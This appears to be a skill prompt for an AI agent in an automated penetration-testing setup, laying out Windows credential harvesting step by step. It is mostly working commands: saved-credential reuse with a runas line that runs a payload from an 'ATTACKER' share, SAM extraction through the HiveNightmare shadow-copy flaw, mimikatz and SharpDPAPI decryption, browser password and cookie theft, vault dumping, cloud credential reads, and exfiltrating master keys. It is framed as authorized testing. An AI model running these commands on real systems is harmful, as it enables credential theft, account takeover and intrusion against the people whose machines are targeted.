Windows Credential Harvesting
You are helping a penetration tester find and extract locally stored credentials on a Windows system. This covers file-based, registry-based, and DPAPI-protected secrets. All testing is under explicit written authorization.
Scope distinction: This skill covers LOCAL credential discovery — passwords in files, registry, vaults, browsers, DPAPI blobs, and shadow copies. For AD-level extraction (DCSync, NTDS.dit, LAPS, gMSA, DSRM), use credential-dumping instead.
Engagement Logging
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
- Print
[windows-credential-harvesting] Activated → <target>to the screen on activation. - Evidence → save significant output to
engagement/evidence/with descriptive filenames (e.g.,sqli-users-dump.txt,ssrf-aws-creds.json).
State Management
Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- Shell access on a Windows system (cmd.exe, PowerShell, or webshell)
- Current user context known (
whoami) - Higher access level unlocks more techniques (admin → SAM, DPAPI machine keys)
Step 1: Quick Wins (No Admin Required)
Start with techniques that work at any privilege level. These often yield immediate results with minimal detection.
Saved Credentials (cmdkey)
cmdcmdkey /list
If entries exist, use them:
cmdrunas /savecred /user:DOMAIN\admin cmd.exe runas /savecred /user:administrator "\\ATTACKER\share\payload.exe"
Registry Autologon
cmdreg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultUserName DefaultDomainName DefaultPassword"
PowerShell History
cmdtype %USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
powershell# Search all users (if readable) Get-ChildItem C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt -ErrorAction SilentlyContinue | ForEach-Object { Write-Host "`n=== $($_.FullName) ===" -ForegroundColor Yellow Select-String -Path $_ -Pattern "passw|cred|secret|key|token|login" -Context 1,1 }
PowerShell Transcripts
powershell# Check common transcript locations Get-ChildItem C:\Transcripts\ -Recurse -ErrorAction SilentlyContinue Get-ChildItem C:\Users\*\Documents\PowerShell_transcript* -ErrorAction SilentlyContinue
Unattend / Sysprep Files
cmddir /s /b C:\*unattend.xml C:\*sysprep.xml C:\*sysprep.inf 2>nul type C:\Windows\Panther\Unattend.xml 2>nul | findstr /i "password" type C:\Windows\Panther\Unattend\Unattend.xml 2>nul | findstr /i "password" type C:\Windows\system32\sysprep\sysprep.xml 2>nul | findstr /i "password"
Passwords in unattend files are often base64-encoded:
bashecho "U2VjcmV0UGFzc3dvcmQxMjM=" | base64 -d
powershell[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("U2VjcmV0UGFzc3dvcmQxMjM="))
Registry Password Search
cmdreg query HKLM /F "password" /t REG_SZ /S /K 2>nul | findstr /i "password" reg query HKCU /F "password" /t REG_SZ /S /K 2>nul | findstr /i "password"
PuTTY / SSH Saved Sessions
cmdreg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s reg query "HKCU\Software\OpenSSH\Agent\Keys"
WiFi Passwords
cmdnetsh wlan show profile netsh wlan show profile <SSID> key=clear
One-liner to dump all WiFi passwords:
cmdfor /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off >nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on
IIS Web.config
powershellGet-ChildItem -Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config 2>nul | findstr /i "connectionString password"
Credential File Search
cmdcd C:\ & findstr /SI /M "password" *.xml *.ini *.txt *.config 2>nul dir /S /B *pass*.txt *pass*.xml *pass*.ini *cred* *vnc* *.config* 2>nul findstr /spin "password" *.* 2>nul
SessionGopher (All Saved Sessions)
powershellImport-Module .\SessionGopher.ps1 Invoke-SessionGopher -Thorough Invoke-SessionGopher -AllDomain -o
Extracts: PuTTY, WinSCP, SuperPuTTY, FileZilla, RDP saved sessions.
Step 2: HiveNightmare / SAM Shadow Copy (CVE-2021-36934)
Check if the SAM hive is readable by non-admin users due to misconfigured ACLs.
Detection
cmdicacls C:\Windows\System32\config\SAM
Vulnerable if output includes BUILTIN\Users:(I)(RX).
Exploitation
cmd:: List available shadow copies vssadmin list shadows
powershell# Extract via mimikatz shadow copy access mimikatz# misc::shadowcopies mimikatz# lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM # Also extract SECURITY hive for LSA secrets mimikatz# lsadump::secrets /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /security:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY
Alternative — map shadow copy and extract offline:
cmdmklink /d C:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\ copy C:\shadowcopy\Windows\System32\config\SAM C:\Windows\Temp\SAM copy C:\shadowcopy\Windows\System32\config\SYSTEM C:\Windows\Temp\SYSTEM
bash# Offline extraction (attacker machine) secretsdump.py -sam SAM -system SYSTEM LOCAL # Or: samdump2 SYSTEM SAM # Or: pwdump SYSTEM SAM
Backup Hive Locations
Also check these paths for SAM/SYSTEM copies:
%SYSTEMROOT%\repair\SAM %SYSTEMROOT%\repair\system %SYSTEMROOT%\System32\config\RegBack\SAM %SYSTEMROOT%\System32\config\RegBack\system
Step 3: DPAPI Extraction
DPAPI (Data Protection API) encrypts credentials, vault entries, browser passwords, and other secrets using keys derived from the user's password. Decrypting DPAPI requires either the user's password/NTLM hash, LSASS memory, or the domain backup key.
Locate DPAPI Blobs
powershell# Master keys Get-ChildItem -Hidden C:\Users\*\AppData\Roaming\Microsoft\Protect\ -Recurse Get-ChildItem -Hidden C:\Users\*\AppData\Local\Microsoft\Protect\ -Recurse # Credential blobs Get-ChildItem -Hidden C:\Users\*\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\*\AppData\Roaming\Microsoft\Credentials\ # Vault files Get-ChildItem -Hidden C:\Users\*\AppData\Local\Microsoft\Vault\ Get-ChildItem -Hidden C:\Users\*\AppData\Roaming\Microsoft\Vault\
Decrypt (Current User Session — Easiest)
If running as the target user, DPAPI automatically uses the loaded master key:
powershell# SharpDPAPI — decrypt everything accessible in current user context SharpDPAPI.exe triage /unprotect SharpDPAPI.exe credentials /unprotect SharpDPAPI.exe vaults /unprotect SharpDPAPI.exe rdg /unprotect
powershell# Mimikatz — in-session decryption mimikatz# dpapi::cred /in:C:\Users\user\AppData\Local\Microsoft\Credentials\<GUID> /unprotect
Decrypt (Known Password or NTLM Hash)
bash# SharpDPAPI — with password SharpDPAPI.exe masterkeys /password:PASSWORD SharpDPAPI.exe triage /password:PASSWORD # SharpDPAPI — with NTLM hash SharpDPAPI.exe masterkeys /ntlm:NTLM_HASH # Mimikatz — decrypt master key with password mimikatz# dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}\{GUID}" /sid:S-1-5-21-...-1107 /password:PASSWORD /protected # Then use the master key to decrypt blobs mimikatz# dpapi::cred /in:C:\path\to\credential /masterkey:MASTERKEY_HEX
bash# Impacket dpapi.py (offline) python3 dpapi.py masterkey -file {GUID} -sid S-1-5-21-...-1107 -password 'Password!' python3 dpapi.py credential -file CREDENTIAL_BLOB -key 0xMASTERKEY_HEX
Decrypt (RPC to Domain Controller — Domain-Joined)
If the user is currently logged in on a domain-joined machine:
powershell# SharpDPAPI — RPC call to DC for master key decryption SharpDPAPI.exe masterkeys /rpc SharpDPAPI.exe triage /rpc # Mimikatz mimikatz# dpapi::masterkey /in:"C:\...\{GUID}" /rpc
Decrypt (Domain Backup Key — Domain Admin)
With domain admin access, extract the DPAPI backup key to decrypt any user's master keys:
bash# Extract domain backup key SharpDPAPI.exe backupkey /server:DC01.domain.local /file:key.pvk # Mimikatz mimikatz# lsadump::backupkeys /system:DC01.domain.local /export # Then decrypt any user's credentials with the backup key SharpDPAPI.exe triage /pvk:key.pvk SharpDPAPI.exe credentials /server:TARGET /pvk:key.pvk
Decrypt (LSASS Memory — Local Admin)
powershell# Extract DPAPI keys from LSASS mimikatz# sekurlsa::dpapi # Use the prekey from LSASS dump SharpDPAPI.exe triage /prekey:SHA1_HEX
DPAPI Machine Keys (Local Admin)
For machine-scoped DPAPI (e.g., scheduled task credentials, service account creds):
powershell# Extract machine DPAPI key from LSA secrets reg save HKLM\SYSTEM C:\Windows\Temp\system.hiv reg save HKLM\SECURITY C:\Windows\Temp\security.hiv # Offline extraction mimikatz# lsadump::secrets /system:system.hiv /security:security.hiv
Offline DPAPI Master Key Extraction
If you have master key files but not the password, extract the hash for offline cracking:
bash# Extract hashcat-format hashes from master keys DPAPISnoop.exe masterkey-parse C:\Users\bob\AppData\Roaming\Microsoft\Protect\{SID} --mode hashcat --outfile engagement/evidence/dpapi-masterkey-bob.hc
Do NOT crack hashes in this skill. Save the DPAPI master key hash to
engagement/evidence/ and return to the orchestrator with the hash file path,
hash type (DPAPI masterkey / hashcat mode 15900), and a routing recommendation
to credential-recovery.
Step 4: Browser Credentials
Chrome / Edge (Chromium-based — DPAPI encrypted)
powershell# SharpChrome — interactive (current user session) SharpChrome.exe logins /browser:chrome /unprotect SharpChrome.exe logins /browser:edge /unprotect SharpChrome.exe cookies /browser:chrome /format:csv /unprotect # Offline workflow — extract state key, then decrypt SharpChrome.exe statekeys /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Local State" /unprotect # Use the hex statekey output to decrypt cookies offline SharpChrome.exe cookies /target:"C:\Users\bob\...\Default\Cookies" /statekey:STATEKEY_HEX /format:json # Remote with domain backup key SharpChrome.exe logins /server:HOST01 /browser:chrome /pvk:key.pvk SharpChrome.exe cookies /server:HOST01 /browser:edge /pvk:BASE64 # With DPAPI prekey from LSASS dump SharpChrome.exe logins /browser:edge /prekey:SHA1_HEX
Chrome/Edge file locations:
C:\Users\<USER>\AppData\Local\Google\Chrome\User Data\Default\Login Data C:\Users\<USER>\AppData\Local\Google\Chrome\User Data\Local State C:\Users\<USER>\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Firefox (NSS encrypted — no DPAPI)
C:\Users\<USER>\AppData\Roaming\Mozilla\Firefox\Profiles\<PROFILE>\key4.db C:\Users\<USER>\AppData\Roaming\Mozilla\Firefox\Profiles\<PROFILE>\logins.json
Tools: SharpWeb, firefox_decrypt.py, firepwd.py.
Mimikatz Chrome Decryption
powershellmimikatz# dpapi::chrome /in:"%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data" /unprotect
Step 5: Additional Credential Sources
Credential Manager / Vault (Detailed)
cmd:: List vault entries vaultcmd /listcreds:"Windows Credentials" /all vaultcmd /listcreds:"Web Credentials" /all
powershell# Mimikatz vault dumping mimikatz# vault::list mimikatz# vault::cred /patch
Sticky Notes
powershell# SQLite database — may contain passwords in notes $db = "C:\Users\$env:USERNAME\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite" if (Test-Path $db) { Write-Host "Sticky Notes DB found: $db" }
Copy and open with any SQLite viewer — notes stored in plaintext.
VNC Passwords
cmdreg query "HKCU\Software\ORL\WinVNC3\Password" reg query "HKLM\SOFTWARE\RealVNC\WinVNC4" /v password
VNC passwords are DES-encrypted with a fixed key — trivially decryptable.
McAfee SiteList.xml
cmddir /s /b "C:\ProgramData\McAfee\*SiteList*" 2>nul dir /s /b "C:\Program Files\McAfee\*SiteList*" 2>nul
May contain encrypted repository credentials.
Cloud Credential Files
powershell# AWS Test-Path "$env:USERPROFILE\.aws\credentials" type "$env:USERPROFILE\.aws\credentials" 2>nul # Azure Test-Path "$env:USERPROFILE\.azure" dir "$env:USERPROFILE\.azure" 2>nul # GCP Test-Path "$env:APPDATA\gcloud\credentials.db" # Kubernetes Test-Path "$env:USERPROFILE\.kube\config" type "$env:USERPROFILE\.kube\config" 2>nul | findstr /i "password token"
Alternate Data Streams
powershell# Check for hidden data streams Get-Item -Path C:\Users\*\Desktop\* -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } # Read a specific stream Get-Content -Path file.txt -Stream HiddenStream
Step 6: Escalate or Pivot
STOP and return to the orchestrator with:
- What was achieved (RCE, creds, file read, etc.)
- New credentials, access, or pivot paths discovered
- Context for next steps (platform, access method, working payloads)
Troubleshooting
SharpDPAPI "Cannot decrypt master key"
The master key is protected by the user's password. You need either: (1) the user's plaintext password or NTLM hash, (2) access to LSASS memory (local admin), (3) the domain backup key (domain admin), or (4) to run as the target user (in-session).
HiveNightmare — no shadow copies available
The vulnerability requires existing volume shadow copies. Check with
vssadmin list shadows. If none exist, this path is not exploitable without creating
one (requires admin).
Chrome "Login Data" locked by Chrome process
Copy the file to a temp location before reading:
cmdcopy "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data" C:\Windows\Temp\LoginData
DPAPI blobs found but no way to decrypt
Exfiltrate the master key files and credential blobs to the attacker machine.
Use DPAPISnoop to generate hashcat-format hashes (mode 15900), save to
engagement/evidence/, and route to credential-recovery.
"Access Denied" on other users' profiles
Without admin access, you can only harvest credentials from the current user's profile. Escalate first via windows-uac-bypass or windows-token-impersonation, then re-run harvesting.

